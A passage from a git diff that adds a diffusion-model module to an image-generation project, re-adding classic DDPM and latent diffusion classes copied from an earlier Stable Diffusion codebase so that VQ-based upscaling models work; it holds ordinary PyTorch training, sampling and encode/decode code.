force_not_quantize: + quant, emb_loss, info = self.quantize(h) + else: + quant = h + quant = self.post_quant_conv(quant) + dec = self.decoder(quant) + return dec + +ldm.models.autoencoder.VQModel = VQModel +ldm.models.autoencoder.VQModelInterface = VQModelInterface diff --git a/extensions-builtin/LDSR/sd_hijack_ddpm_v1.py b/extensions-builtin/LDSR/sd_hijack_ddpm_v1.py new file mode 100644 index 0000000000000000000000000000000000000000..04adc5eb2cfe9aa1d5f75e5653624456c5e37a47 --- /dev/null +++ b/extensions-builtin/LDSR/sd_hijack_ddpm_v1.py @@ -0,0 +1,1443 @@ +# This script is copied from the compvis/stable-diffusion repo (aka the SD V1 repo) +# Original filename: ldm/models/diffusion/ddpm.py +# The purpose to reinstate the old DDPM logic which works with VQ, whereas the V2 one doesn't +# Some models such as LDSR require VQ to work correctly +# The classes are suffixed with "V1" and added back to the "ldm.models.diffusion.ddpm" module + +import torch +import torch.nn as nn +import numpy as np +import pytorch_lightning as pl +from torch.optim.lr_scheduler import LambdaLR +from einops import rearrange, repeat +from contextlib import contextmanager +from functools import partial +from tqdm import tqdm +from torchvision.utils import make_grid +from pytorch_lightning.utilities.distributed import rank_zero_only + +from ldm.util import log_txt_as_img, exists, default, ismap, isimage, mean_flat, count_params, instantiate_from_config +from ldm.modules.ema import LitEma +from ldm.modules.distributions.distributions import normal_kl, DiagonalGaussianDistribution +from ldm.models.autoencoder import VQModelInterface, IdentityFirstStage, AutoencoderKL +from ldm.modules.diffusionmodules.util import make_beta_schedule, extract_into_tensor, noise_like +from ldm.models.diffusion.ddim import DDIMSampler + +import ldm.models.diffusion.ddpm + +__conditioning_keys__ = {'concat': 'c_concat', + 'crossattn': 'c_crossattn', + 'adm': 'y'} + + +def disabled_train(self, mode=True): + """Overwrite model.train with this function to make sure train/eval mode + does not change anymore.""" + return self + + +def uniform_on_device(r1, r2, shape, device): + return (r1 - r2) * torch.rand(*shape, device=device) + r2 + + +class DDPMV1(pl.LightningModule): + # classic DDPM with Gaussian diffusion, in image space + def __init__(self, + unet_config, + timesteps=1000, + beta_schedule="linear", + loss_type="l2", + ckpt_path=None, + ignore_keys=None, + load_only_unet=False, + monitor="val/loss", + use_ema=True, + first_stage_key="image", + image_size=256, + channels=3, + log_every_t=100, + clip_denoised=True, + linear_start=1e-4, + linear_end=2e-2, + cosine_s=8e-3, + given_betas=None, + original_elbo_weight=0., + v_posterior=0., # weight for choosing posterior variance as sigma = (1-v) * beta_tilde + v * beta + l_simple_weight=1., + conditioning_key=None, + parameterization="eps", # all assuming fixed variance schedules + scheduler_config=None, + use_positional_encodings=False, + learn_logvar=False, + logvar_init=0., + ): + super().__init__() + assert parameterization in ["eps", "x0"], 'currently only supporting "eps" and "x0"' + self.parameterization = parameterization + print(f"{self.__class__.__name__}: Running in {self.parameterization}-prediction mode") + self.cond_stage_model = None + self.clip_denoised = clip_denoised + self.log_every_t = log_every_t + self.first_stage_key = first_stage_key + self.image_size = image_size # try conv? + self.channels = channels + self.use_positional_encodings = use_positional_encodings + self.model = DiffusionWrapperV1(unet_config, conditioning_key) + count_params(self.model, verbose=True) + self.use_ema = use_ema + if self.use_ema: + self.model_ema = LitEma(self.model) + print(f"Keeping EMAs of {len(list(self.model_ema.buffers()))}.") + + self.use_scheduler = scheduler_config is not None + if self.use_scheduler: + self.scheduler_config = scheduler_config + + self.v_posterior = v_posterior + self.original_elbo_weight = original_elbo_weight + self.l_simple_weight = l_simple_weight + + if monitor is not None: + self.monitor = monitor + if ckpt_path is not None: + self.init_from_ckpt(ckpt_path, ignore_keys=ignore_keys or [], only_model=load_only_unet) + + self.register_schedule(given_betas=given_betas, beta_schedule=beta_schedule, timesteps=timesteps, + linear_start=linear_start, linear_end=linear_end, cosine_s=cosine_s) + + self.loss_type = loss_type + + self.learn_logvar = learn_logvar + self.logvar = torch.full(fill_value=logvar_init, size=(self.num_timesteps,)) + if self.learn_logvar: + self.logvar = nn.Parameter(self.logvar, requires_grad=True) + + + def register_schedule(self, given_betas=None, beta_schedule="linear", timesteps=1000, + linear_start=1e-4, linear_end=2e-2, cosine_s=8e-3): + if exists(given_betas): + betas = given_betas + else: + betas = make_beta_schedule(beta_schedule, timesteps, linear_start=linear_start, linear_end=linear_end, + cosine_s=cosine_s) + alphas = 1. - betas + alphas_cumprod = np.cumprod(alphas, axis=0) + alphas_cumprod_prev = np.append(1., alphas_cumprod[:-1]) + + timesteps, = betas.shape + self.num_timesteps = int(timesteps) + self.linear_start = linear_start + self.linear_end = linear_end + assert alphas_cumprod.shape[0] == self.num_timesteps, 'alphas have to be defined for each timestep' + + to_torch = partial(torch.tensor, dtype=torch.float32) + + self.register_buffer('betas', to_torch(betas)) + self.register_buffer('alphas_cumprod', to_torch(alphas_cumprod)) + self.register_buffer('alphas_cumprod_prev', to_torch(alphas_cumprod_prev)) + + # calculations for diffusion q(x_t | x_{t-1}) and others + self.register_buffer('sqrt_alphas_cumprod', to_torch(np.sqrt(alphas_cumprod))) + self.register_buffer('sqrt_one_minus_alphas_cumprod', to_torch(np.sqrt(1. - alphas_cumprod))) + self.register_buffer('log_one_minus_alphas_cumprod', to_torch(np.log(1. - alphas_cumprod))) + self.register_buffer('sqrt_recip_alphas_cumprod', to_torch(np.sqrt(1. / alphas_cumprod))) + self.register_buffer('sqrt_recipm1_alphas_cumprod', to_torch(np.sqrt(1. / alphas_cumprod - 1))) + + # calculations for posterior q(x_{t-1} | x_t, x_0) + posterior_variance = (1 - self.v_posterior) * betas * (1. - alphas_cumprod_prev) / ( + 1. - alphas_cumprod) + self.v_posterior * betas + # above: equal to 1. / (1. / (1. - alpha_cumprod_tm1) + alpha_t / beta_t) + self.register_buffer('posterior_variance', to_torch(posterior_variance)) + # below: log calculation clipped because the posterior variance is 0 at the beginning of the diffusion chain + self.register_buffer('posterior_log_variance_clipped', to_torch(np.log(np.maximum(posterior_variance, 1e-20)))) + self.register_buffer('posterior_mean_coef1', to_torch( + betas * np.sqrt(alphas_cumprod_prev) / (1. - alphas_cumprod))) + self.register_buffer('posterior_mean_coef2', to_torch( + (1. - alphas_cumprod_prev) * np.sqrt(alphas) / (1. - alphas_cumprod))) + + if self.parameterization == "eps": + lvlb_weights = self.betas ** 2 / ( + 2 * self.posterior_variance * to_torch(alphas) * (1 - self.alphas_cumprod)) + elif self.parameterization == "x0": + lvlb_weights = 0.5 * np.sqrt(torch.Tensor(alphas_cumprod)) / (2. * 1 - torch.Tensor(alphas_cumprod)) + else: + raise NotImplementedError("mu not supported") + # TODO how to choose this term + lvlb_weights[0] = lvlb_weights[1] + self.register_buffer('lvlb_weights', lvlb_weights, persistent=False) + assert not torch.isnan(self.lvlb_weights).all() + + @contextmanager + def ema_scope(self, context=None): + if self.use_ema: + self.model_ema.store(self.model.parameters()) + self.model_ema.copy_to(self.model) + if context is not None: + print(f"{context}: Switched to EMA weights") + try: + yield None + finally: + if self.use_ema: + self.model_ema.restore(self.model.parameters()) + if context is not None: + print(f"{context}: Restored training weights") + + def init_from_ckpt(self, path, ignore_keys=None, only_model=False): + sd = torch.load(path, map_location="cpu") + if "state_dict" in list(sd.keys()): + sd = sd["state_dict"] + keys = list(sd.keys()) + for k in keys: + for ik in ignore_keys or []: + if k.startswith(ik): + print("Deleting key {} from state_dict.".format(k)) + del sd[k] + missing, unexpected = self.load_state_dict(sd, strict=False) if not only_model else self.model.load_state_dict( + sd, strict=False) + print(f"Restored from {path} with {len(missing)} missing and {len(unexpected)} unexpected keys") + if missing: + print(f"Missing Keys: {missing}") + if unexpected: + print(f"Unexpected Keys: {unexpected}") + + def q_mean_variance(self, x_start, t): + """ + Get the distribution q(x_t | x_0). + :param x_start: the [N x C x ...] tensor of noiseless inputs. + :param t: the number of diffusion steps (minus 1). Here, 0 means one step. + :return: A tuple (mean, variance, log_variance), all of x_start's shape. + """ + mean = (extract_into_tensor(self.sqrt_alphas_cumprod, t, x_start.shape) * x_start) + variance = extract_into_tensor(1.0 - self.alphas_cumprod, t, x_start.shape) + log_variance = extract_into_tensor(self.log_one_minus_alphas_cumprod, t, x_start.shape) + return mean, variance, log_variance + + def predict_start_from_noise(self, x_t, t, noise): + return ( + extract_into_tensor(self.sqrt_recip_alphas_cumprod, t, x_t.shape) * x_t - + extract_into_tensor(self.sqrt_recipm1_alphas_cumprod, t, x_t.shape) * noise + ) + + def q_posterior(self, x_start, x_t, t): + posterior_mean = ( + extract_into_tensor(self.posterior_mean_coef1, t, x_t.shape) * x_start + + extract_into_tensor(self.posterior_mean_coef2, t, x_t.shape) * x_t + ) + posterior_variance = extract_into_tensor(self.posterior_variance, t, x_t.shape) + posterior_log_variance_clipped = extract_into_tensor(self.posterior_log_variance_clipped, t, x_t.shape) + return posterior_mean, posterior_variance, posterior_log_variance_clipped + + def p_mean_variance(self, x, t, clip_denoised: bool): + model_out = self.model(x, t) + if self.parameterization == "eps": + x_recon = self.predict_start_from_noise(x, t=t, noise=model_out) + elif self.parameterization == "x0": + x_recon = model_out + if clip_denoised: + x_recon.clamp_(-1., 1.) + + model_mean, posterior_variance, posterior_log_variance = self.q_posterior(x_start=x_recon, x_t=x, t=t) + return model_mean, posterior_variance, posterior_log_variance + + @torch.no_grad() + def p_sample(self, x, t, clip_denoised=True, repeat_noise=False): + b, *_, device = *x.shape, x.device + model_mean, _, model_log_variance = self.p_mean_variance(x=x, t=t, clip_denoised=clip_denoised) + noise = noise_like(x.shape, device, repeat_noise) + # no noise when t == 0 + nonzero_mask = (1 - (t == 0).float()).reshape(b, *((1,) * (len(x.shape) - 1))) + return model_mean + nonzero_mask * (0.5 * model_log_variance).exp() * noise + + @torch.no_grad() + def p_sample_loop(self, shape, return_intermediates=False): + device = self.betas.device + b = shape[0] + img = torch.randn(shape, device=device) + intermediates = [img] + for i in tqdm(reversed(range(0, self.num_timesteps)), desc='Sampling t', total=self.num_timesteps): + img = self.p_sample(img, torch.full((b,), i, device=device, dtype=torch.long), + clip_denoised=self.clip_denoised) + if i % self.log_every_t == 0 or i == self.num_timesteps - 1: + intermediates.append(img) + if return_intermediates: + return img, intermediates + return img + + @torch.no_grad() + def sample(self, batch_size=16, return_intermediates=False): + image_size = self.image_size + channels = self.channels + return self.p_sample_loop((batch_size, channels, image_size, image_size), + return_intermediates=return_intermediates) + + def q_sample(self, x_start, t, noise=None): + noise = default(noise, lambda: torch.randn_like(x_start)) + return (extract_into_tensor(self.sqrt_alphas_cumprod, t, x_start.shape) * x_start + + extract_into_tensor(self.sqrt_one_minus_alphas_cumprod, t, x_start.shape) * noise) + + def get_loss(self, pred, target, mean=True): + if self.loss_type == 'l1': + loss = (target - pred).abs() + if mean: + loss = loss.mean() + elif self.loss_type == 'l2': + if mean: + loss = torch.nn.functional.mse_loss(target, pred) + else: + loss = torch.nn.functional.mse_loss(target, pred, reduction='none') + else: + raise NotImplementedError("unknown loss type '{loss_type}'") + + return loss + + def p_losses(self, x_start, t, noise=None): + noise = default(noise, lambda: torch.randn_like(x_start)) + x_noisy = self.q_sample(x_start=x_start, t=t, noise=noise) + model_out = self.model(x_noisy, t) + + loss_dict = {} + if self.parameterization == "eps": + target = noise + elif self.parameterization == "x0": + target = x_start + else: + raise NotImplementedError(f"Paramterization {self.parameterization} not yet supported") + + loss = self.get_loss(model_out, target, mean=False).mean(dim=[1, 2, 3]) + + log_prefix = 'train' if self.training else 'val' + + loss_dict.update({f'{log_prefix}/loss_simple': loss.mean()}) + loss_simple = loss.mean() * self.l_simple_weight + + loss_vlb = (self.lvlb_weights[t] * loss).mean() + loss_dict.update({f'{log_prefix}/loss_vlb': loss_vlb}) + + loss = loss_simple + self.original_elbo_weight * loss_vlb + + loss_dict.update({f'{log_prefix}/loss': loss}) + + return loss, loss_dict + + def forward(self, x, *args, **kwargs): + # b, c, h, w, device, img_size, = *x.shape, x.device, self.image_size + # assert h == img_size and w == img_size, f'height and width of image must be {img_size}' + t = torch.randint(0, self.num_timesteps, (x.shape[0],), device=self.device).long() + return self.p_losses(x, t, *args, **kwargs) + + def get_input(self, batch, k): + x = batch[k] + if len(x.shape) == 3: + x = x[..., None] + x = rearrange(x, 'b h w c -> b c h w') + x = x.to(memory_format=torch.contiguous_format).float() + return x + + def shared_step(self, batch): + x = self.get_input(batch, self.first_stage_key) + loss, loss_dict = self(x) + return loss, loss_dict + + def training_step(self, batch, batch_idx): + loss, loss_dict = self.shared_step(batch) + + self.log_dict(loss_dict, prog_bar=True, + logger=True, on_step=True, on_epoch=True) + + self.log("global_step", self.global_step, + prog_bar=True, logger=True, on_step=True, on_epoch=False) + + if self.use_scheduler: + lr = self.optimizers().param_groups[0]['lr'] + self.log('lr_abs', lr, prog_bar=True, logger=True, on_step=True, on_epoch=False) + + return loss + + @torch.no_grad() + def validation_step(self, batch, batch_idx): + _, loss_dict_no_ema = self.shared_step(batch) + with self.ema_scope(): + _, loss_dict_ema = self.shared_step(batch) + loss_dict_ema = {key + '_ema': loss_dict_ema[key] for key in loss_dict_ema} + self.log_dict(loss_dict_no_ema, prog_bar=False, logger=True, on_step=False, on_epoch=True) + self.log_dict(loss_dict_ema, prog_bar=False, logger=True, on_step=False, on_epoch=True) + + def on_train_batch_end(self, *args, **kwargs): + if self.use_ema: + self.model_ema(self.model) + + def _get_rows_from_list(self, samples): + n_imgs_per_row = len(samples) + denoise_grid = rearrange(samples, 'n b c h w -> b n c h w') + denoise_grid = rearrange(denoise_grid, 'b n c h w -> (b n) c h w') + denoise_grid = make_grid(denoise_grid, nrow=n_imgs_per_row) + return denoise_grid + + @torch.no_grad() + def log_images(self, batch, N=8, n_row=2, sample=True, return_keys=None, **kwargs): + log = {} + x = self.get_input(batch, self.first_stage_key) + N = min(x.shape[0], N) + n_row = min(x.shape[0], n_row) + x = x.to(self.device)[:N] + log["inputs"] = x + + # get diffusion row + diffusion_row = [] + x_start = x[:n_row] + + for t in range(self.num_timesteps): + if t % self.log_every_t == 0 or t == self.num_timesteps - 1: + t = repeat(torch.tensor([t]), '1 -> b', b=n_row) + t = t.to(self.device).long() + noise = torch.randn_like(x_start) + x_noisy = self.q_sample(x_start=x_start, t=t, noise=noise) + diffusion_row.append(x_noisy) + + log["diffusion_row"] = self._get_rows_from_list(diffusion_row) + + if sample: + # get denoise row + with self.ema_scope("Plotting"): + samples, denoise_row = self.sample(batch_size=N, return_intermediates=True) + + log["samples"] = samples + log["denoise_row"] = self._get_rows_from_list(denoise_row) + + if return_keys: + if np.intersect1d(list(log.keys()), return_keys).shape[0] == 0: + return log + else: + return {key: log[key] for key in return_keys} + return log + + def configure_optimizers(self): + lr = self.learning_rate + params = list(self.model.parameters()) + if self.learn_logvar: + params = params + [self.logvar] + opt = torch.optim.AdamW(params, lr=lr) + return opt + + +class LatentDiffusionV1(DDPMV1): + """main class""" + def __init__(self, + first_stage_config, + cond_stage_config, + num_timesteps_cond=None, + cond_stage_key="image", + cond_stage_trainable=False, + concat_mode=True, + cond_stage_forward=None, + conditioning_key=None, + scale_factor=1.0, + scale_by_std=False, + *args, **kwargs): + self.num_timesteps_cond = default(num_timesteps_cond, 1) + self.scale_by_std = scale_by_std + assert self.num_timesteps_cond <= kwargs['timesteps'] + # for backwards compatibility after implementation of DiffusionWrapper + if conditioning_key is None: + conditioning_key = 'concat' if concat_mode else 'crossattn' + if cond_stage_config == '__is_unconditional__': + conditioning_key = None + ckpt_path = kwargs.pop("ckpt_path", None) + ignore_keys = kwargs.pop("ignore_keys", []) + super().__init__(*args, conditioning_key=conditioning_key, **kwargs) + self.concat_mode = concat_mode + self.cond_stage_trainable = cond_stage_trainable + self.cond_stage_key = cond_stage_key + try: + self.num_downs = len(first_stage_config.params.ddconfig.ch_mult) - 1 + except Exception: + self.num_downs = 0 + if not scale_by_std: + self.scale_factor = scale_factor + else: + self.register_buffer('scale_factor', torch.tensor(scale_factor)) + self.instantiate_first_stage(first_stage_config) + self.instantiate_cond_stage(cond_stage_config) + self.cond_stage_forward = cond_stage_forward + self.clip_denoised = False + self.bbox_tokenizer = None + + self.restarted_from_ckpt = False + if ckpt_path is not None: + self.init_from_ckpt(ckpt_path, ignore_keys) + self.restarted_from_ckpt = True + + def make_cond_schedule(self, ): + self.cond_ids = torch.full(size=(self.num_timesteps,), fill_value=self.num_timesteps - 1, dtype=torch.long) + ids = torch.round(torch.linspace(0, self.num_timesteps - 1, self.num_timesteps_cond)).long() + self.cond_ids[:self.num_timesteps_cond] = ids + + @rank_zero_only + @torch.no_grad() + def on_train_batch_start(self, batch, batch_idx, dataloader_idx): + # only for very first batch + if self.scale_by_std and self.current_epoch == 0 and self.global_step == 0 and batch_idx == 0 and not self.restarted_from_ckpt: + assert self.scale_factor == 1., 'rather not use custom rescaling and std-rescaling simultaneously' + # set rescale weight to 1./std of encodings + print("### USING STD-RESCALING ###") + x = super().get_input(batch, self.first_stage_key) + x = x.to(self.device) + encoder_posterior = self.encode_first_stage(x) + z = self.get_first_stage_encoding(encoder_posterior).detach() + del self.scale_factor + self.register_buffer('scale_factor', 1. / z.flatten().std()) + print(f"setting self.scale_factor to {self.scale_factor}") + print("### USING STD-RESCALING ###") + + def register_schedule(self, + given_betas=None, beta_schedule="linear", timesteps=1000, + linear_start=1e-4, linear_end=2e-2, cosine_s=8e-3): + super().register_schedule(given_betas, beta_schedule, timesteps, linear_start, linear_end, cosine_s) + + self.shorten_cond_schedule = self.num_timesteps_cond > 1 + if self.shorten_cond_schedule: + self.make_cond_schedule() + + def instantiate_first_stage(self, config): + model = instantiate_from_config(config) + self.first_stage_model = model.eval() + self.first_stage_model.train = disabled_train + for param in self.first_stage_model.parameters(): + param.requires_grad = False + + def instantiate_cond_stage(self, config): + if not self.cond_stage_trainable: + if config == "__is_first_stage__": + print("Using first stage also as cond stage.") + self.cond_stage_model = self.first_stage_model + elif config == "__is_unconditional__": + print(f"Training {self.__class__.__name__} as an unconditional model.") + self.cond_stage_model = None + # self.be_unconditional = True + else: + model = instantiate_from_config(config) + self.cond_stage_model = model.eval() + self.cond_stage_model.train = disabled_train + for param in self.cond_stage_model.parameters(): + param.requires_grad = False + else: + assert config != '__is_first_stage__' + assert config != '__is_unconditional__' + model = instantiate_from_config(config) + self.cond_stage_model = model + + def _get_denoise_row_from_list(self, samples, desc='', force_no_decoder_quantization=False): + denoise_row = [] + for zd in tqdm(samples, desc=desc): + denoise_row.append(self.decode_first_stage(zd.to(self.device), + force_not_quantize=force_no_decoder_quantization)) + n_imgs_per_row = len(denoise_row) + denoise_row = torch.stack(denoise_row) # n_log_step, n_row, C, H, W + denoise_grid = rearrange(denoise_row, 'n b c h w -> b n c h w') + denoise_grid = rearrange(denoise_grid, 'b n c h w -> (b n) c h w') + denoise_grid = make_grid(denoise_grid, nrow=n_imgs_per_row) + return denoise_grid + + def get_first_stage_encoding(self, encoder_posterior): + if isinstance(encoder_posterior, DiagonalGaussianDistribution): + z = encoder_posterior.sample() + elif isinstance(encoder_posterior, torch.Tensor): + z = encoder_posterior + else: + raise NotImplementedError(f"encoder_posterior of type '{type(encoder_posterior)}' not yet implemented") + return self.scale_factor * z + + def get_learned_conditioning(self, c): + if self.cond_stage_forward is None: + if hasattr(self.cond_stage_model, 'encode') and callable(self.cond_stage_model.encode): + c = self.cond_stage_model.encode(c) + if isinstance(c, DiagonalGaussianDistribution): + c = c.mode() + else: + c = self.cond_stage_model(c) + else: + assert hasattr(self.cond_stage_model, self.cond_stage_forward) + c = getattr(self.cond_stage_model, self.cond_stage_forward)(c) + return c + + def meshgrid(self, h, w): + y = torch.arange(0, h).view(h, 1, 1).repeat(1, w, 1) + x = torch.arange(0, w).view(1, w, 1).repeat(h, 1, 1) + + arr = torch.cat([y, x], dim=-1) + return arr + + def delta_border(self, h, w): + """ + :param h: height + :param w: width + :return: normalized distance to image border, + wtith min distance = 0 at border and max dist = 0.5 at image center + """ + lower_right_corner = torch.tensor([h - 1, w - 1]).view(1, 1, 2) + arr = self.meshgrid(h, w) / lower_right_corner + dist_left_up = torch.min(arr, dim=-1, keepdims=True)[0] + dist_right_down = torch.min(1 - arr, dim=-1, keepdims=True)[0] + edge_dist = torch.min(torch.cat([dist_left_up, dist_right_down], dim=-1), dim=-1)[0] + return edge_dist + + def get_weighting(self, h, w, Ly, Lx, device): + weighting = self.delta_border(h, w) + weighting = torch.clip(weighting, self.split_input_params["clip_min_weight"], + self.split_input_params["clip_max_weight"], ) + weighting = weighting.view(1, h * w, 1).repeat(1, 1, Ly * Lx).to(device) + + if self.split_input_params["tie_braker"]: + L_weighting = self.delta_border(Ly, Lx) + L_weighting = torch.clip(L_weighting, + self.split_input_params["clip_min_tie_weight"], + self.split_input_params["clip_max_tie_weight"]) + + L_weighting = L_weighting.view(1, 1, Ly * Lx).to(device) + weighting = weighting * L_weighting + return weighting + + def get_fold_unfold(self, x, kernel_size, stride, uf=1, df=1): # todo load once not every time, shorten code + """ + :param x: img of size (bs, c, h, w) + :return: n img crops of size (n, bs, c, kernel_size[0], kernel_size[1]) + """ + bs, nc, h, w = x.shape + + # number of crops in image + Ly = (h - kernel_size[0]) // stride[0] + 1 + Lx = (w - kernel_size[1]) // stride[1] + 1 + + if uf == 1 and df == 1: + fold_params = dict(kernel_size=kernel_size, dilation=1, padding=0, stride=stride) + unfold = torch.nn.Unfold(**fold_params) + + fold = torch.nn.Fold(output_size=x.shape[2:], **fold_params) + + weighting = self.get_weighting(kernel_size[0], kernel_size[1], Ly, Lx, x.device).to(x.dtype) + normalization = fold(weighting).view(1, 1, h, w) # normalizes the overlap + weighting = weighting.view((1, 1, kernel_size[0], kernel_size[1], Ly * Lx)) + + elif uf > 1 and df == 1: + fold_params = dict(kernel_size=kernel_size, dilation=1, padding=0, stride=stride) + unfold = torch.nn.Unfold(**fold_params) + + fold_params2 = dict(kernel_size=(kernel_size[0] * uf, kernel_size[0] * uf), + dilation=1, padding=0, + stride=(stride[0] * uf, stride[1] * uf)) + fold = torch.nn.Fold(output_size=(x.shape[2] * uf, x.shape[3] * uf), **fold_params2) + + weighting = self.get_weighting(kernel_size[0] * uf, kernel_size[1] * uf, Ly, Lx, x.device).to(x.dtype) + normalization = fold(weighting).view(1, 1, h * uf, w * uf) # normalizes the overlap + weighting = weighting.view((1, 1, kernel_size[0] * uf, kernel_size[1] * uf, Ly * Lx)) + + elif df > 1 and uf == 1: + fold_params = dict(kernel_size=kernel_size, dilation=1, padding=0, stride=stride) + unfold = torch.nn.Unfold(**fold_params) + + fold_params2 = dict(kernel_size=(kernel_size[0] // df, kernel_size[0] // df), + dilation=1, padding=0, + stride=(stride[0] // df, stride[1] // df)) + fold = torch.nn.Fold(output_size=(x.shape[2] // df, x.shape[3] // df), **fold_params2) + + weighting = self.get_weighting(kernel_size[0] // df, kernel_size[1] // df, Ly, Lx, x.device).to(x.dtype) + normalization = fold(weighting).view(1, 1, h // df, w // df) # normalizes the overlap + weighting = weighting.view((1, 1, kernel_size[0] // df, kernel_size[1] // df, Ly * Lx)) + + else: + raise NotImplementedError + + return fold, unfold, normalization, weighting + + @torch.no_grad() + def get_input(self, batch, k, return_first_stage_outputs=False, force_c_encode=False, + cond_key=None, return_original_cond=False, bs=None): + x = super().get_input(batch, k) + if bs is not None: + x = x[:bs] + x = x.to(self.device) + encoder_posterior = self.encode_first_stage(x) + z = self.get_first_stage_encoding(encoder_posterior).detach() + + if self.model.conditioning_key is not None: + if cond_key is None: + cond_key = self.cond_stage_key + if cond_key != self.first_stage_key: + if cond_key in ['caption', 'coordinates_bbox']: + xc = batch[cond_key] + elif cond_key == 'class_label': + xc = batch + else: + xc = super().get_input(batch, cond_key).to(self.device) + else: + xc = x + if not self.cond_stage_trainable or force_c_encode: + if isinstance(xc, dict) or isinstance(xc, list): + # import pudb; pudb.set_trace() + c = self.get_learned_conditioning(xc) + else: + c = self.get_learned_conditioning(xc.to(self.device)) + else: + c = xc + if bs is not None: + c = c[:bs] + + if self.use_positional_encodings: + pos_x, pos_y = self.compute_latent_shifts(batch) + ckey = __conditioning_keys__[self.model.conditioning_key] + c = {ckey: c, 'pos_x': pos_x, 'pos_y': pos_y} + + else: + c = None + xc = None + if self.use_positional_encodings: + pos_x, pos_y = self.compute_latent_shifts(batch) + c = {'pos_x': pos_x, 'pos_y': pos_y} + out = [z, c] + if return_first_stage_outputs: + xrec = self.decode_first_stage(z) + out.extend([x, xrec]) + if return_original_cond: + out.append(xc) + return out + + @torch.no_grad() + def decode_first_stage(self, z, predict_cids=False, force_not_quantize=False): + if predict_cids: + if z.dim() == 4: + z = torch.argmax(z.exp(), dim=1).long() + z = self.first_stage_model.quantize.get_codebook_entry(z, shape=None) + z = rearrange(z, 'b h w c -> b c h w').contiguous() + + z = 1. / self.scale_factor * z + + if hasattr(self, "split_input_params"): + if self.split_input_params["patch_distributed_vq"]: + ks = self.split_input_params["ks"] # eg. (128, 128) + stride = self.split_input_params["stride"] # eg. (64, 64) + uf = self.split_input_params["vqf"] + bs, nc, h, w = z.shape + if ks[0] > h or ks[1] > w: + ks = (min(ks[0], h), min(ks[1], w)) + print("reducing Kernel") + + if stride[0] > h or stride[1] > w: + stride = (min(stride[0], h), min(stride[1], w)) + print("reducing stride") + + fold, unfold, normalization, weighting = self.get_fold_unfold(z, ks, stride, uf=uf) + + z = unfold(z) # (bn, nc * prod(**ks), L) + # 1. Reshape to img shape + z = z.view((z.shape[0], -1, ks[0], ks[1], z.shape[-1])) # (bn, nc, ks[0], ks[1], L ) + + # 2. apply model loop over last dim + if isinstance(self.first_stage_model, VQModelInterface): + output_list = [self.first_stage_model.decode(z[:, :, :, :, i], + force_not_quantize=predict_cids or force_not_quantize) + for i in range(z.shape[-1])] + else: + + output_list = [self.first_stage_model.decode(z[:, :, :, :, i]) + for i in range(z.shape[-1])] + + o = torch.stack(output_list, axis=-1) # # (bn, nc, ks[0], ks[1], L) + o = o * weighting + # Reverse 1. reshape to img shape + o = o.view((o.shape[0], -1, o.shape[-1])) # (bn, nc * ks[0] * ks[1], L) + # stitch crops together + decoded = fold(o) + decoded = decoded / normalization # norm is shape (1, 1, h, w) + return decoded + else: + if isinstance(self.first_stage_model, VQModelInterface): + return self.first_stage_model.decode(z, force_not_quantize=predict_cids or force_not_quantize) + else: + return self.first_stage_model.decode(z) + + else: + if isinstance(self.first_stage_model, VQModelInterface): + return self.first_stage_model.decode(z, force_not_quantize=predict_cids or force_not_quantize) + else: + return self.first_stage_model.decode(z) + + # same as above but without decorator + def differentiable_decode_first_stage(self, z, predict_cids=False, force_not_quantize=False): + if predict_cids: + if z.dim() == 4: + z = torch.argmax(z.exp(), dim=1).long() + z = self.first_stage_model.quantize.get_codebook_entry(z, shape=None) + z = rearrange(z, 'b h w c -> b c h w').contiguous() + + z = 1. / self.scale_factor * z + + if hasattr(self, "split_input_params"): + if self.split_input_params["patch_distributed_vq"]: + ks = self.split_input_params["ks"] # eg. (128, 128) + stride = self.split_input_params["stride"] # eg. (64, 64) + uf = self.split_input_params["vqf"] + bs, nc, h, w = z.shape + if ks[0] > h or ks[1] > w: + ks = (min(ks[0], h), min(ks[1], w)) + print("reducing Kernel") + + if stride[0] > h or stride[1] > w: + stride = (min(stride[0], h), min(stride[1], w)) + print("reducing stride") + + fold, unfold, normalization, weighting = self.get_fold_unfold(z, ks, stride, uf=uf) + + z = unfold(z) # (bn, nc * prod(**ks), L) + # 1. Reshape to img shape + z = z.view((z.shape[0], -1, ks[0], ks[1], z.shape[-1])) # (bn, nc, ks[0], ks[1], L ) + + # 2. apply model loop over last dim + if isinstance(self.first_stage_model, VQModelInterface): + output_list = [self.first_stage_model.decode(z[:, :, :, :, i], + force_not_quantize=predict_cids or force_not_quantize) + for i in range(z.shape[-1])] + else: + + output_list = [self.first_stage_model.decode(z[:, :, :, :, i]) + for i in range(z.shape[-1])] + + o = torch.stack(output_list, axis=-1) # # (bn, nc, ks[0], ks[1], L) + o = o * weighting + # Reverse 1. reshape to img shape + o = o.view((o.shape[0], -1, o.shape[-1])) # (bn, nc * ks[0] * ks[1], L) + # stitch crops together + decoded = fold(o) + decoded = decoded / normalization # norm is shape (1, 1, h, w) + return decoded + else: + if isinstance(self.first_stage_model, VQModelInterface): + return self.first_stage_model.decode(z, force_not_quantize=predict_cids or force_not_quantize) + else: + return self.first_stage_model.decode(z) + + else: + if isinstance(self.first_stage_model, VQModelInterface): + return self.first_stage_model.decode(z, force_not_quantize=predict_cids or force_not_quantize) + else: + return self.first_stage_model.decode(z) + + @torch.no_grad() + def encode_first_stage(self, x): + if hasattr(self, "split_input_params"): + if self.split_input_params["patch_distributed_vq"]: + ks = self.split_input_params["ks"] # eg. (128, 128) + stride = self.split_input_params["stride"] # eg. (64, 64) + df = self.split_input_params["vqf"] + self.split_input_params['original_image_size'] = x.shape[-2:] + bs, nc, h, w = x.shape + if ks[0] > h or ks[1] > w: + ks = (min(ks[0], h), min(ks[1], w)) + print("reducing Kernel") + + if stride[0] > h or stride[1] > w: + stride = (min(stride[0], h), min(stride[1], w)) + print("reducing stride") + + fold, unfold, normalization, weighting = self.get_fold_unfold(x, ks, stride, df=df) + z = unfold(x) # (bn, nc * prod(**ks), L) + # Reshape to img shape + z = z.view((z.shape[0], -1, ks[0], ks[1], z.shape[-1])) # (bn, nc, ks[0], ks[1], L ) + + output_list = [self.first_stage_model.encode(z[:, :, :, :, i]) + for i in range(z.shape[-1])] + + o = torch.stack(output_list, axis=-1) + o = o * weighting + + # Reverse reshape to img shape + o = o.view((o.shape[0], -1, o.shape[-1])) # (bn, nc * ks[0] * ks[1], L) + # stitch crops together + decoded = fold(o) + decoded = decoded / normalization + return decoded + + else: + return self.first_stage_model.encode(x) + else: + return self.first_stage_model.encode(x) + + def shared_step(self, batch, **kwargs): + x, c = self.get_input(batch, self.first_stage_key) + loss = self(x, c) + return loss + + 